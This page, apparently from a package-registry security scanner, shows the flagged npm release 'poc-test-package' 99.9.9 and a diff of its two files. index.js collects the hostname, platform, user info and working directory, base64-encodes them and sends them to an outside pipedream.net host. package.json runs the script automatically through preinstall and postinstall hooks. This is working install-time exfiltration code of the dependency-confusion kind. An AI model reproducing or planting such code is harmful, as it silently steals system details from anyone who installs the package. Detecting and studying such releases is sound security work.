poc-test-package 99.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of poc-test-package might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +28 -0
  2. package/package.json +18 -0
package/index.js ADDED
@@ -0,0 +1,28 @@
1
+ var os = require("os")
2
+ const request = require('requests')
3
+ var fs = require('fs')
4
+
5
+ // collect info
6
+ var hostname = os.hostname()
7
+ var type = os.platform()
8
+ var userInfo = os.userInfo()
9
+ var currentPath = process.cwd()
10
+ var json = []
11
+
12
+ json.push(hostname)
13
+ json.push(type)
14
+ json.push(userInfo)
15
+ json.push(currentPath)
16
+ json = JSON.stringify(json)
17
+
18
+ let host = "eo9gu8rnyh6ey6l.m.pipedream.net"
19
+ let company = "test"
20
+ let packages = "poc-test-package"
21
+
22
+ // write a local file
23
+ fs.writeFile('locatethisfileforpoc', 'execution achieved', function (err) {
24
+ if (err) throw err
25
+ })
26
+
27
+ var buff = Buffer.from(JSON.stringify(json)).toString("base64")
28
+ request(`http://${host}/?${company}:${packages}=${buff}`, (error, response, body) => {})
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "Dependencies": {
3
+ "request": "^2.88.2"
4
+ },
5
+ "dependencies": {
6
+ "requests": "^0.3.0"
7
+ },
8
+ "description": "",
9
+ "license": "ISC",
10
+ "main": "index.js",
11
+ "name": "poc-test-package",
12
+ "scripts": {
13
+ "postinstall": "node index.js --save-prod",
14
+ "preinstall": "node index.js --save-prod",
15
+ "start": "node index.js --save-prod"
16
+ },
17
+ "version": "99.9.9"
18
+ }